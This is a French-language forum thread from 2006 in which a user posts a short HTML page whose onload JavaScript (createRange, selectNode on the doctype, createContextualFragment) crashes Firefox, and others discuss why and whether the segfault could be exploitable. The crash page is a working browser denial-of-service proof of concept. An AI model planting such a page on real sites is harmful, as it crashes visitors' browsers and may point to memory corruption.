Faille Firefox

Faille Firefox - Codes et scripts - Linux et OS Alternatifs

Marsh Posté le 14-12-2006 à 14:58:39    

Salut.
Quelqu'un peut-il m'expliqué ce script qui fait planté Firefox ?!
 

Citation :


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>

Message cité 1 fois
Message édité par big_dadi_fat le 14-12-2006 à 15:03:43
Reply

Marsh Posté le 14-12-2006 à 14:58:39   

Reply

Marsh Posté le 14-12-2006 à 15:00:02    

faudrait demander aux progueux plutôt :spamafote:

 

par contre je suis intrigué par ton titre [:opus dei]

Message cité 1 fois
Message édité par wedgeant le 14-12-2006 à 15:00:11

---------------
Wedge#2487 @HS -#- PW: +∞ -#- Khaz-Modan/Boltiz @WoW
Reply

Marsh Posté le 14-12-2006 à 15:05:33    

ah non, vous le gardez :o

Reply

Marsh Posté le 14-12-2006 à 15:05:50    

wedgeant a écrit :

faudrait demander aux progueux plutôt :spamafote:
par contre je suis intrigué par ton titre [:opus dei]


lol faille et pas fille, je corrige ;).
 
par contre, les progueux ont fermé un topic comme celui là, ( c'est comme même pas illégale ! ) .
 

Reply

Marsh Posté le 14-12-2006 à 15:21:31    

kadreg a écrit :

ah non, vous le gardez :o


 [:autobot]  
 
Sans vouloir ... c'est plus de la prog que de l'OS alter quand même hein  :p


---------------
Wedge#2487 @HS -#- PW: +∞ -#- Khaz-Modan/Boltiz @WoW
Reply

Marsh Posté le 14-12-2006 à 15:26:20    

wedgeant a écrit :

[:autobot]  
Sans vouloir ... c'est plus de la prog que de l'OS alter quand même hein  :p


oui mais si quelqu'un sais...
 
 

Reply

Marsh Posté le 14-12-2006 à 15:27:11    

big_dadi_fat a écrit :

Salut.
Quelqu'un peut-il m'expliqué ce script qui fait planté Firefox ?!


je crois que ça plante car document.firstChild n'est pas un node, mais le type de document (ici html) car il y a une DTD associée). Du coup, le range.selectNode() fait n'importe quoi, et quand tu essaies de remplacer le contenu du range par un simple "<span></span>", ca fait planter firefox.

 

Je suis pas du tout un expert de javascript, mais je suppose qu'en vérifiant les retours des différentes fonctions appelées, on pourrait éviter la catastrophe. En tous cas, ceci est au moins un début d'explication...

 

EDIT: d'ailleurs, si tu enlèves la spécification de la DTD, ça ne plante plus, car dans ce cas le type d'objet renvoyé par firstChild() n'est plus le même

 

plus de détails sur le DOM de Gecko ici: http://developer.mozilla.org/en/do [...] _Reference

Message cité 1 fois
Message édité par franceso le 14-12-2006 à 15:31:51
Reply

Marsh Posté le 14-12-2006 à 16:01:03    

merci franceso

Reply

Marsh Posté le 14-12-2006 à 16:21:23    

franceso a écrit :

je crois que ça plante car document.firstChild n'est pas un node, mais le type de document


 
document EST un node :o
 
http://www.w3.org/TR/1998/REC-DOM- [...] i-Document

Reply

Marsh Posté le 14-12-2006 à 16:21:47    

Reply

Marsh Posté le 14-12-2006 à 16:21:47   

Reply

Marsh Posté le 14-12-2006 à 17:16:42    

OK, au temps pour moi...
 
Mais alors c'est quoi la différence entre le html avec et sans spécification de DTD  ?

Reply

Marsh Posté le 14-12-2006 à 17:27:38    

big_dadi_fat a écrit :

lol faille et pas fille, je corrige ;).
 
par contre, les progueux ont fermé un topic comme celui là, ( c'est comme même pas illégale ! ) .


 
 :ouch:  :ouch:  :ouch:  : quand même c'est mieux non :o


---------------
Il y a autant d'atomes d'oxygène dans une molécule d'eau que d'étoiles dans le système solaire.
Reply

Marsh Posté le 14-12-2006 à 19:01:29    

en quoi c'est une faille ?

 

c'est exploitable pour faire exécuter du code ?

 

et j'allais oublier, rapport avec les OS alternatifs ? et c'est quoi cette sous-cat ?

Message cité 1 fois
Message édité par Mjules le 14-12-2006 à 19:05:11

---------------
Celui qui pose une question est idiot 5 minutes. Celui qui n'en pose pas le reste toute sa vie. |  Membre du grand complot pharmaceutico-médico-scientifico-judéo-maçonnique.
Reply

Marsh Posté le 15-12-2006 à 00:33:03    

Mjules a écrit :

en quoi c'est une faille ?  
 
c'est exploitable pour faire exécuter du code ?
 
et j'allais oublier, rapport avec les OS alternatifs ? et c'est quoi cette sous-cat ?


 
C'est une forme de déni de service. Un site est pas censé avoir la possibilité de t'envoyer chier tout tes autres sites.
De plus ça finit en segfault, j'ai pas fouillé plus que ça, mais ça peut être signe d'une corruption mémoire exploitable.
 


---------------
Me: Django Localization, Yogo Puzzle, Chrome Grapher, C++ Signals, Brainf*ck.
Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed